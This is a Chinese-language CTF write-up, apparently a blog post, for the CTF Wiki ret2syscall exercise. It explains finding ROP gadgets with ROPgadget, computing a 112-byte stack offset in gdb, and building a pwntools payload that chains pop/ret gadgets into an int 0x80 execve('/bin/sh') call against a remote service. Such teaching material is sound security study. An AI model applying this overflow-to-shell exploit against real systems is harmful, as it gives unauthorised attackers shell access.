题源:基本 ROP - CTF Wiki (ctf-wiki.org)?的ret2syscall
①:老套路,先检查。?
没有RXW可执行段。而且NX保护打开了。
?②:拉到IDA反汇编。
没有system,也没有可直接利用的后门函数,但是有bin/sh。什么也没有。而且段都是不可执行段,也不能直接写入整个shellcode段。
但是还有gets函数,天无绝人之路,又是栈溢出的类型。看来得自己拿碎片构造rop了(得存在所有的碎片才行)。
(这个过程起始就类似于堆积木:积木碎片在房子的各个角落,我们得找到所有的积木碎片,放在这里就是在整个程序中找到可以组合成调用execve('/bin/sh")函数的碎片。)
?这个原理ctfwiki是讲的最清楚明白的,可以自己去看。就在这块 。
?ROP的关键(以32位程序为例):
1.在计算机的底层,系统调用execve函数的专属调用号是:0xb
2.在调用execve函数的时候,有几个寄存器的值必须准备好。
3.找到相应寄存器并为其准备好值。
下面这张图讲的很清楚:?32位程序下的execve就等效于这一堆汇编指令。
?
思路总结:
现在就很明显了:我们得给eax,ebx,ecx,edx赋响应的值,而要赋的值正好可以通过程序的gets函数写入栈。
那还有一个问题要解决,我们怎么将栈上的值弹出到四个寄存器中呢?然后还能每弹一个值之后可以继续弹下一值呢?
这就需要我们找到挨着的指令:pop 寄存器名 ret
然后将存储这些对应指令的地址通过栈溢出写到栈上,然后想办法存入ebp里面即可,
③:下一步就是去寻找各个gadgets的地址。引入新工具:ROPgadget。
使用指令:
ROPgadget --binary rop --only 'pop|ret' |grep eax
解析:这句话就是在rop二进制文件中找存在pop|ret指令的所有地址。后面的|grep是linux自带的筛选工具,意思是把含eax的指令筛选出来。
显而易见0x080bb196位置的指令很符合要求。
接下来再以同样的方式找到pop|ret到ebx,ecx,edx的地址。
ROPgadget --binary rop --only 'pop|ret' |grep ebx
ROPgadget --binary rop --only 'pop|ret' |grep ecx
ROPgadget --binary rop --only 'pop|ret' |grep edx
ROPgadget --binary rop --only 'int' #找到中断的int指令
??
当然有个小tips:有的程序中多个寄存器的pop指令在一起,这样就很省事,就不用一个一个找了。例如这道题就很省事,pop ebx,pop ecx,pop edx的指令在一块。
④:计算栈溢出的地址并编写exp
打开gdb动态调试。(这部分计算偏移地址可以参考这篇文章,基本一样:写文章-CSDN博客)
栈的视图如下,根据红框中的地址计算偏移。?
?偏移结果:
>> 0x208-0x19c 108
>>> 108+4? (+4是因为32位程序下我们想要覆盖把ebp就得+4) 112
编写exp:
from pwn import *
io = remote(ip, port)
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh_addr = 0x80be408
int_0x80_addr = 0x08049421
# 注意传入寄存器的几个参数的位置。
payload = b'A' * (108 + 4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(
bin_sh_addr) + p32(int_0x80_addr)
io.sendline(payload) #这也有一个注意点:看总结中的第三点
io.recvline()
⑤:总结。
1.找的gadget必须是完整的先pop 再ret指令,不然pop完怎么继续pop下一个寄存器。
2.注意构造payload的时候几个寄存器参数的先后顺序,因为先pop edx,再pop ecx,最后pop ebx,所以两个0在bin/sh的前面,如果pop的先后顺序发生变化,那么参数的传入顺序也要变化。灵活一点。
3.何时用send,何时用sendline,这俩有什么区别呢?
sendline会在我们发送的payload自动加上一个换行符。针对不同的函数可能有不同的效果。
对应gets函数,遇到换行符他就停止读取了,而reads函数即使碰到换行符他也会乖乖的读入,相当于构造的payload多了一个换行符,这一细节区别很重要。
这有道同类型但稍微复杂一点的题:(二进制文件不知道怎么没法上传到百度网盘,等以后想起来再上传吧)
(2条消息) [BUUCTF]PWN6——ciscn_2019_c_1_mcmuyanga的博客-CSDN博客
|